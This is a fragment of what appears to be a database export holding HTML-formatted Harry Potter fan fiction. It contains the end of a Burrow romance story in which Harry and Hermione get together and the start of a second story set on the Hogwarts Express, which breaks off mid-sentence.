class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I did <i>not</i> jump at them!” Harry said, alarmed at this accusation.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Yeah, Harry wouldn’t dare jump at our little sister, would he?” Fred and\nGeorge said at the same time, turning slowly to face Harry, a slightly evil\nlook came over their faces.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nFaced with three of the Weasleys, Harry started to sweat… </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Of…of course not…” Harry said weakly, quailing under the glare of the three\nWeasleys.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, Cut it out! All of you! Harry did not jump at us, as you put it. He\nslipped from the roof. It was an accident!” Ginny shouted, coming in between\nHarry and her brothers, waving her arms about.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Ok, ok. Cool it, Ginny. We know he wouldn’t do that. It was just fun teasing\nhim about it.” Fred laughed, throwing an arm around Harry and steering him to\nthe table.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey mum, what’s for breakfast? I’m staving!” Ron said, sitting himself at the\ntable, choosing the seat beside Hermione.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Do you only think what your stomach?” Hermione asked, as Mrs. Weasley placed\nthe bacon and eggs on the table.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, what can I say? I’m a growing boy!” Ron laughed before heaping his plate\nhigh.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> ~~~~~~~~~~\n</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">  \n“Aaaahhhhh! You’re too good. I give up.” Harry cried after losing the 10th\nchess game in a row against Ron. Ginny was at the side watching the game.\nHermione was rereading ‘<i>Hogwarts, a History</i>’ for the 205th time. Fred\nand George have disappeared into their room.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">  \n“Come on Harry. One more game.” Ron said, laying out the chess pieces again.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“No thanks. Ask Ginny or Hermione to play with you.” Harry replied. He really did\nnot want to lose another game, which he knew would happen if he played with Ron\nagain.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Nah. Ginny’s way too good, and Hermione’s even worse than you.” Ron answered\ncarelessly.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, I would have you know…” Hermione began, showing that she was listening\nin, even with her head buried in the book.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“…That you always lose to me. I know that already!” Ron finished for Hermione\nwith a grin.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“That’s not true.” Hermione retorted. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Then name one time you won me in chess.” Ron challenged.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Well…” Hermione stopped, thinking hard.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Told you.” Ron said, without waiting for Hermione to finish thinking. “Ginny’s\nthe only one here that even had a chance of beating me in chess.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Really?” Harry asked, curious.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nGinny blushed a little, but nodded.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Wow. I got to play a game with you.” Harry said, smiling.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“… Ok. Ron, you don’t mind?” Ginny replied softly.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Not at all. Go ahead. Trash him up. I need a drink anyway. All that argument\nwith Hermione left me thirsty.” With that, Ron stood up and walked towards the\nkitchen.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione stared at Ron for a moment. “What argument? We exchange a total of two\nsentences and it’s an argument?”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Thanks, both of you. For this morning.” Harry said.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Whatever for?” Hermione asked, looking at Harry.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“For knocking me out of depression, and making me laugh.” Harry answered, his\nvoice quiet.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“You’re welcome. But you better concentrate on the game, or I’ll win this game\nfor sure.” Ginny replied, joking.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry smiled.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Alright then, let’s see how good you are, Ginny.” Harry said rolling the\nsleeves of his jumper up.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Checkmate!” </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Aaaaaahhhhhhhhh!!! I quit! I quit!” Harry cried, losing for the 5th time in a\nrow.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“What did I tell you? Now do you believe me?” Ron said, laughing.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry laughed. “Alright, alright. You win.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Of course I win. When it comes to chess, I never lose. Other than to Ginny, of\ncourse.” Ron said smugly. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Come on, let’s go outside. I can’t stand being copped up in the house any\nmore.” Harry said.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Alright. How about a game of Quidditch?” Ron asked.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“You are not going anywhere without de-gnoming the garden.” Mrs. Weasley said,\ncoming into the living room, hands on her hip. “You’ve had the morning free.\nNow get to it!” </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I’ve never seen a de-gnoming before. Mind if I join you, Ron?” Hermione asked,\nputting away her book.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“O…of course not.” Ron’s ears turned red.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry sighed and stood up. “I’ll help too. That way we’ll be done faster.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh no, it’s ok. Why don’t you and Ginny go to the hill first? We’ll go there\nlater with the brooms.” Hermione said with a wink at Ginny, who was clearing up\nthe chess pieces when it is obvious they wouldn’t be playing anymore.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nGinny’s face flushed, but she stood up and said, “Alright.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry looked at Ron, whose ears are still red, and at Hermione, a determined\nlook on her face. Slowly understanding came to Harry’s face. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh, ok. We’ll just leave you alone then. Come on Ginny, let’s go.” Harry took\nhold of Ginny’s hand and walked towards the door.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n‘Oh great, Harry had misunderstood. Now what do I do?’ Hermione thought,\nlooking a little sadly at the sight of Harry holding hands with Ginny, walking\nout of the door of the Burrow.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hermione? You alright?” Ron sounded a little concerned. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Huh? Yeah, sure, I’m fine. Let’s go de-gnome the garden.” Hermione said,\nturning around and walked out to the garden so fast Ron almost had to run to\nkeep up. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“How long have those two been together, do you know, Ginny” Harry asked,\nlaughing, as they walked towards the top of the small hill behind the burrow. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Huh? Know what?” Ginny wasn’t really paying attention, as she was focusing\nmore on the feeling of Harry’s hands than on what he is saying.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“I asked, do you know how long Ron and Hermione have been going out together?”\nHarry asked again.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“What are you saying? They are not going out.” Ginny replied, still not fully\naware of what she’s saying.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Then why did they want to be left alone?” Harry asked, a little puzzled.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Oh, that’s just to give me…” Ginny stopped, suddenly realizing what they were\ntalking about.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Ginny? You ok?” Harry asked, a little worried. “Why did you suddenly stop\nfor?”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nGinny turned to look at Harry. Though it hurt her heart, she must say it.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Harry, Hermione isn’t going out with Ron. She doesn’t like him like that, she\nlikes you.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“What? What did you say, Ginny?” Harry sounded shocked.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hermione likes you, Harry.” Ginny’s voice wavered a little, but she managed to\nsay it out.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHarry suddenly sank down on the grass, pulling Ginny along with him, as he\nstill hadn’t release Ginny’s hand.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Ron’s gonna kill me.” Harry moaned. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Whatever for?” Ginny asked, a little surprise at the change in topic. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Ron liked Hermione, and he told me last night that he would tell her today. I\nthought he had confessed already, and they were going to spend some time\ntogether alone or something.” Harry said, head hanging between his knees.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Have you seen a gnome before?” Ron asked Hermione.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“No. Not a real one anyway. I have a few muggle garden gnomes though.” Hermione\nanswered, still looking a little distracted.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Let me show you a real gnome then.” Saying that, Ron dived into a bush,\nleaving only his feet sticking out. The bush shuddered and shook, and Ron\ncrawled out of the bush pulling on a large, knobby head. He flipped the gnome\naround and held it upside-down at arm’s length for Hermione to see it.\n(‘Gerroff Me!’)</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“How interesting.” Hermione said, peering at the little creature. “How do you\nget rid of it?” </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Like this!” Ron said, and started swinging the gnome round, releasing its leg\nto let it fly out of the garden.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“RON! How could you do that to a helpless thing like that?” Hermione was\nshocked at the way Ron just threw the gnome.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Hey, it doesn’t hurt at all. Their heads are too thick to hurt just because\nthey were thrown about a little. Look.” He answered.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nSure enough, the gnome had already picked itself up, and was staggering away.\nRon dived into another bush and pulled another gnome out. “Here. You try it.”</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione took hold of the gnome a little reluctantly. “There’s got to be a\nbetter way to get rid of gnomes.” She said unsurely.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“The only other way is to get a jarvey to do it. But it is too bloody to do it\nthat way, since that jarvey will just tear the gnome to bits.” Ron replied with\na shrug.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione looked at the gnome, still a little unsure. The gnome, sensing\nweakness, sank its teeth into Hermione’s hand. She gave a cry of pain, and\nthrew the gnome way over the garden wall.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Are you alright?” Ron rushed up to Hermione and took hold of her hand. “It’s\nbleeding!” Ron ripped his shirt edge out and wrapped it around Hermione’s hand.\n</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \n“Thanks” Hermione said, looking at the wrapped hand.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nRon looked at Hermione’s eyes, and suddenly he bended down and kissed Hermione\non her cheek. Hermione’s eyes widen with shock.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nRon blushed, “Sorry about that. Hermione…I…I’ve liked you for some time.”\n‘There, I’ve finally said it.’ He mentally wiped the sweat of his brows.</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"> \nHermione’s eyes, if possible, went even bigger than before. </p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~\n</p>\n<p class="MsoTitle">  “So, Harry, do you like Hermione?” Ginny asked\nquietly. </p>\n<p class="MsoTitle">  “Of course. She’s my best friend.” Harry answered,\nhead still between his knees.</p>\n<p class="MsoTitle">  “I mean, you know, as in a girlfriend.” Ginny asked\nagain, a tiny spark of hope in her heart. Maybe, just maybe…</p>\n<p class="MsoTitle">  “I know what you mean, and I mean what I said too.”\nHarry replied. “I mean,” he continued, seeing Ginny’s uncomprehending look.\n“Last year, during the Triwizard Tournament, she was the only one, other than\nHagrid, who believed me when I said I did not put my name into the Goblet of\nFire. She was the only one who stayed by me before the first task, when even\nRon deserted me. I would like it very much to ask Hermione to be my girlfriend.\nBut I have another best friend, who also like Hermione. Is it not the job of a\nfriend to let his best friend get the girl?”</p>\n<p class="MsoTitle">  “Oh, I see…” So much for that spark of hope.</p>\n<p class="MsoTitle">  “So now you know. Don’t tell Ron, ok?” Harry said,\nfinally lifting his head to look at Ginny.</p>\n<p class="MsoTitle">  Ginny looked into Harry’s eyes, those oh-so-green eyes\nthat she had loved since she saw it first at Kings Cross, almost five years\nago. ‘Should I…can I tell Harry I like him too.’ His words keep ringing in her\near. ‘Is it not the job of a friend to let his best friend get the girl?’ or in\nthis case, the boy. She could not do that to Hermione. Besides, Harry liked\nHermione, not her. Her mind made up, she resolved to tell Hermione the news.\nHarry need never know about Ginny’s feelings for him…</p>\n<p class="MsoTitle">  “Ginny? Ginny, you ok?” Harry asked, a little worried\nat the empty look on Ginny’s face.</p>\n<p class="MsoTitle">  “Huh? Oh… yeah. I’m fine. Let’s go in and find them,\nshall we?” Ginny said, her face downcast, so as to hide her tears from Harry. </p>\n<p class="MsoTitle">  “Huh? But I thought…?” Harry started, before Ginny\nstood up and pulled him to his feet too. Before Harry could continue, Ginny\nturned around and walked back to the Barrows, dragging Harry along.</p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">  “Ron, you know I like you, just…just not that way.”\nHermione chose her words carefully, not wanting to hurt Ron too much. </p>\n<p class="MsoTitle">  “I know, I know. You still like Victor Krum, right? I\nmean, who wouldn’t? He’s rich, a seeker with the Bulgaria Quidditch team, good\nlooking…well, maybe not, but still…” Ron was rambling, to hide his\ndisappointment. </p>\n<p class="MsoTitle">  “Ron, it’s not Victor that I like.” Hermione\ninterrupted.</p>\n<p class="MsoTitle">  “It’s not? Then who is it?” Ron demanded. </p>\n<p class="MsoTitle">  “It’s…” Hermione trailed off uncertainly. Could she\ntell Ron? She had seen first hand last year how jealous Ron can get. What if\nthis time was really one time too many. Harry, she know, could not do without\nhis best friend beside him. No, it is better if Ron doesn’t know whom she\nreally like.</p>\n<p class="MsoTitle">  “Well?” Ron asked again, unable to wait any longer.</p>\n<p class="MsoTitle">  “It’s ... Draco Malfoy…” Hermione said, looking at the\nground.</p>\n<p class="MsoTitle">  “WHAT?!?” It wasn’t Ron who said that though. Ron was\ntoo surprised to speak. The voice came from behind her. Hermione turned around\nto find Harry at the backdoor of the Burrow, looking shocked, Ginny beside him.</p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">  Ginny pulled Hermione to a corner of the garden, just\nbeside the pond, away from the boys.</p>\n<p class="MsoTitle">  “What was that?” Ginny asked, disbelieve in her voice.</p>\n<p class="MsoTitle">  “Oh, nothing. Ron told me he liked me, but I couldn’t\nvery well tell him that I like Harry, could I. So I said the first name that\ncame to mind, Malfoy’s name.” Hermione explained, her voice miserable. </p>\n<p class="MsoTitle">  “Oh, I see. Well, at least you don’t need to worry\nabout Harry.” Ginny replied softly.</p>\n<p class="MsoTitle">  “Huh? What do you mean?” Hermione asked, puzzled.</p>\n<p class="MsoTitle">  “Harry likes you. I asked. Just now, out on the hill.”\nGinny said quickly.</p>\n<p class="MsoTitle">  “What? But I asked you to take him there because I\nwanted to give you a chance to tell him how you feel.” Hermione said.</p>\n<p class="MsoTitle">  “I know. But he asked if you and Ron were going out,\nso I told him that you like him, not Ron. Then I asked if he likes you too. He\nsaid he did.” Ginny said, tears collecting in her eyes, despite her attempts to\nstop the tears.</p>\n<p class="MsoTitle">  “But what about you?” Hermione asked gently. </p>\n<p class="MsoTitle">  “I’ll be ok. It really doesn’t matter anyway. Harry\nlikes you, not me.” Ginny answered, a forced smile on her face.</p>\n<p class="MsoTitle">  “Oh Ginny…” Hermione hugged Ginny.</p>\n<p class="MsoTitle">  “Alright already. Just go over and tell Harry, before\nhe really believe your tale about Draco. Why did you choose him anyway? I mean,\nDraco? Your boyfriend? Eeewww!” Ginny attempted to lighten the mood by joking. </p>\n<p class="MsoTitle">  Despite herself, Hermione couldn’t keep herself from\ngiggling at the thought of it.</p>\n<p class="MsoTitle">  “Hey Ginny, thanks.” Hermione said, after getting her\ngiggling under control.</p>\n<p class="MsoTitle">  “You’re welcome,” Ginny answered. “Let’s get back to\nthe boys, or they will think you fell into the pond or something.</p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">   “What is going on here?” Harry asked Ron, who\nwas still stunned.</p>\n<p class="MsoTitle">  “I have no idea, Harry. I told Hermione that I like\nher, like I planed to. Then she told me that she like Draco Malfoy.” Ron\nanswered, still shocked.</p>\n<p class="MsoTitle">  “I had hoped that I heard wrongly or something…” Harry\nsaid, sitting himself down beside Ron.</p>\n<p class="MsoTitle">  They sat in silence for a few minutes, each trying to\nguess what are the girls up to. Finally…</p>\n<p class="MsoTitle">  “They are coming back,” Ron said, standing up. </p>\n<p class="MsoTitle">  “Great. Maybe we can get some answers.” Harry said,\nalso standing up.</p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">  Hermione walked straight to Harry, determination\nwritten all over her face. She took hold of Harry and pulled him into the\nhouse. When Ron tried to follow, Ginny blocked his way, shaking her head.</p>\n<p class="MsoTitle">  “No, Ron. Leave them alone.” Ginny said.</p>\n<p class="MsoTitle">  “What are you saying. What is Hermione up to?” Ron\nasked, trying to force his way in. </p>\n<p class="MsoTitle">  “Can’t you see? Harry likes Hermione and Hermione\nlikes him back!” Ginny cried, pushing Ron back from the door, landing him on\nhis back on the ground</p>\n<p class="MsoTitle">  “What? What about Draco?” Ron yelled, puzzled. He\nstood up to try to get past Ginny again.</p>\n<p class="MsoTitle">  “She said that so that you wouldn’t be jealous of\nHarry because she likes Harry instead of you, and to prevent you from\ndestroying the friendship between all of you like you almost did last year, you\ngreat prat!” Ginny shouted. </p>\n<p class="MsoTitle">  Ron stopped. “What?” </p>\n<p class="MsoTitle">  “You heard me.” Ginny replied, softer this time.</p>\n<p class="MsoTitle">  Ron sat down on the stairs leading to the door,\nsuddenly feeling very tired.</p>\n<p class="MsoTitle">  “Just to let you know, Harry did not tell Hermione he\nlikes her is because he counts you as his friend and wanted to give you a\nchance to tell her your feelings first.” Ginny said, sitting on the step above\nRon.</p>\n<p class="MsoTitle">  “…That stupid git…” Ron muttered. </p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">  “Is it true?” Hermione asked. They have been sitting\nat the front door steps of the burrow in silence, while Hermione gathered her\ncourage to ask Harry this.</p>\n<p class="MsoTitle">  “Is what true?” Harry asked, turning to look at\nHermione. </p>\n<p class="MsoTitle">  “That you … errhhh … like me?” Hermione said it very\nfast, still looking at the ground</p>\n<p class="MsoTitle">  “Oh, that…yeah. It’s true.” Harry managed to say it in\na calm tone. “And is what Ginny told me true, that you like me too?”</p>\n<p class="MsoTitle">  “…Yes” Hermione said in a whisper, so soft that Harry\nhad to bend nearer to Hermione to hear what she said.</p>\n<p class="MsoTitle">  “Then what was that about\nMalfoy?” Harry asked with a smile.</p>\n<p class="MsoTitle">  “Oh, that! I didn’t\nwant Ron to be jealous of you again, so I just said the first name that\nappeared in my mind when he asked me who I like.”</p>\n<p class="MsoTitle">  “That’s a relief.”\nHarry replied, wiping imaginary sweat away from his forehead. “For a moment\nthere I thought you had gone crazy!”</p>\n<p class="MsoTitle">  “No. Not yet.”\nHermione answered calmly.</p>\n<p class="MsoTitle">  “What?”</p>\n<p class="MsoTitle">  “Don’t be silly,\nHarry.” Hermione answered with a little laugh. “I’m not crazy.”</p>\n<p class="MsoTitle">  “Oh. Okay…” Harry\nreplied, chucking.</p>\n<p class="MsoTitle">  “So what do we do now?” Harry asked, when he had\nstopped laughing.</p>\n<p class="MsoTitle">  “I don’t know. Be girl-boy friends?” Hermione answered\nuncertainly.</p>\n<p class="MsoTitle">  “I am willing to try it if you are.” Harry said.</p>\n<p class="MsoTitle">  “…Sure, why not?” Hermione replied.</p>\n<p class="MsoTitle">  “Ok then, from today onwards, we are officially going\nout with each other!”</p>\n<p class="MsoTitle">  Hermione looked at Harry, and started giggling</p>\n<p class="MsoTitle">  “What’s so funny?” Harry asked, a little surprise at\nher reaction.</p>\n<p class="MsoTitle">  “You…you make it sound so…so formal!” Hermione managed\nto say in the midst of laugher.</p>\n<p class="MsoTitle">  Harry thought about what he said for a moment, before\nhe too busted out laughing too.</p>\n<p class="MsoTitle">  “Hermione?” Harry asked softly, when they managed to\nstop laughing. “Can I kiss you?” </p>\n<p class="MsoTitle">  Hermione blushed and said in a tiny voice: “ …Sure…”</p>\n<p class="MsoTitle">  Harry cupped Hermione’s face in his hands, and leaning\ntowards Hermione, gently kissed her on the lips. </p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">  Ron looked from the window out onto the kissing pair,\nhis face a mask. He had heard most of what they said to each other.</p>\n<p class="MsoTitle">  “See, I told you.” Ginny said from her position beside\nRon.</p>\n<p class="MsoTitle">  “Yeah…”Ron couldn’t find any other answer. He watched\nas his two best friends broke their kiss.</p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">  “Wow…” Harry said, holding Hermione in his arms.</p>\n<p class="MsoTitle">  “Wow is correct.” Hermione said, resting her head in\nHarry’s shoulders.</p>\n<p class="MsoTitle">  “There is still one problem though…”Harry said.</p>\n<p class="MsoTitle">  “And that is…?” Hermione asked.</p>\n<p class="MsoTitle">  “How are we gonna tell Ron about us?” Harry answered.</p>\n<p class="MsoTitle">  “No need, I know already. I heard you.” A voice from\nbehind the door replied. Ron opened the door and stepped out, followed by\nGinny.</p>\n<p class="MsoTitle">  “Ron, I’m sorry…”Harry started to apologize, but was\ncut off by Ron.</p>\n<p class="MsoTitle">  “What are you apologizing for? If Hermione likes you,\nwhat can I say? Just don’t leave me out too much, that’s all I ask.”</p>\n<p class="MsoTitle">  Harry smiled. “Thanks, Ron. We’ll try not to.”</p>\n<p class="MsoTitle">  “I’m not the one you’re suppose to thank. It was Ginny\nwho talked some sense back into me, or I would have flatten you already.” Ron\nreplied with a grin.</p>\n<p class="MsoTitle">  “Thanks, Ginny.”\nHarry said, turning to Ginny, smiling.</p>\n<p class="MsoTitle">  “You’re welcome.”\nGinny replied, going a little red. “But you better treat Hermione well, or I\nwill personally come after you!” She threaten.</p>\n<p class="MsoTitle">  “You would have to\nstand in line, Ginny.” Ron spoke up, a smile on his face. Then his smile\ndisappeared. “You wouldn’t mistreat Hermione, right?”</p>\n<p class="MsoTitle">  “O… of course not.”\nHarry retorted nervously. Suddenly doubts rose up in his mind. Maybe Ron would\nbe better for her? What if he did something that made Hermione cry? What if…\nHarry’s train of thoughts was interrupted when Hermione placed her hand over\nhis.</p>\n<p class="MsoTitle">  “Don’t worry, you\ntwo.” She said. “I’m sure Harry would do just fine.”</p>\n<p class="MsoTitle">  Ron suddenly busted\nout laughing. “I wonder what the others in Hogwarts is going to react to you\nguys.”</p>\n<p class="MsoTitle">  “It should be\ninteresting, don’t you think?” Ginny asked with a sideway glance at her\nbrother.</p>\n<p class="MsoTitle">  Harry, who was by\nnow as red as Ron’s hair, waved his hands about. “Alright already! We have to\nfinish de-gnoming the garden, remember?”</p>\n<p class="MsoTitle">  “Oh yeah.” Ron\nstiffened his laugh and turned to go indoors. “Well, better hurry up then. We\nmight still fit in a Quidditch game.”</p>\n<p class="MsoTitle">  Laughing, the four\nof them returned inside the Barrow.</p>\n<p class="MsoTitle">~~~~~~~~~~</p>\n<p class="MsoTitle">The End</p>\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">!!'),
	(258, 1, '\n\n      \n    &quot;Harry!&quot; an excited voice cried out across the platform. it was hermione. she had been living with her aunt and uncle in australia for the summer. her tan shone in the dull light of the platform. she had grown over the holidays and had filled out in a womanly way. her brown eyes shone with excitement as she ran to greet her two best friends. \n    \n    &quot;Harry, Ron, How are you. It\'s been so long. I missed you both.&quot; \n    \n    Harry and Ron stared at her for a moment before smiling. \n    \n    &quot;Yeah, It has.&quot; ron started. &quot;And now were going back to school for the last time.&quot; ron had also changed over the summer break. he wore his hair spiked and he had grown a lot. harry and ron had whittled the summer away by playing qudditch and it had obviously paid off for both of them. \n    \n    &quot;Come on, the train\'s about to leave.&quot; harry said urging them towards the door. \n    \n    It didn\'t take long for the three friends to find a compartment. Ron and Harry told Hermione all about their summer and about how Harry had broken up with Sarah. \n    Sarah was Sirius\' brother (Orion\'s) daughter. They had started dating last summer when Harry spent time at Sirius\' House. It had taken a year of court trials until Sirius was finally cleared of all the charges against him and was now legally Harry\'s guardian. He\'s single again. Hermione could hardly contain her excitement. Thankfully the lady with the trolley knocked on the door of the compartment. After a few minutes scrambling for money the three friends began to wolf down their Bertie botts every flavor beans and chocolate frogs. \n    Hermione studied Harry\'s body beneath his t-shirt. He\'d had a growth spurt over the summer break and was taller than her by a foot. His chest and shoulders were broad and defined. His stomach was flat but rippling with muscles. His hair was wild and unkempt. \n    &quot;Hermione?&quot; \n    The question jolted her from her reverie. Harry and Ron were staring at her. \n    &quot;are you ok?&quot; \n    &quot;yeah I\'m fine.&quot; she replied. &quot;Just excited and a little tired.&quot; \n    Harry looked at her with concerned eyes, why am I shivering? She thought. At that moment the train started to slow down. Quickly one by one they changed into their robes. And descended from the train. \n    As the group made their way to the carriages Hermione couldn\'t stop thinking about Harry. For the past 6 years she had liked him from afar. She never felt good enough for him. After all he was Harry Potter savior of the world and she was just a simple mudblood. How could he ever like her? She wondered. The carriage ride was quick and before long she was on the steps leading into the great hall. \n    The 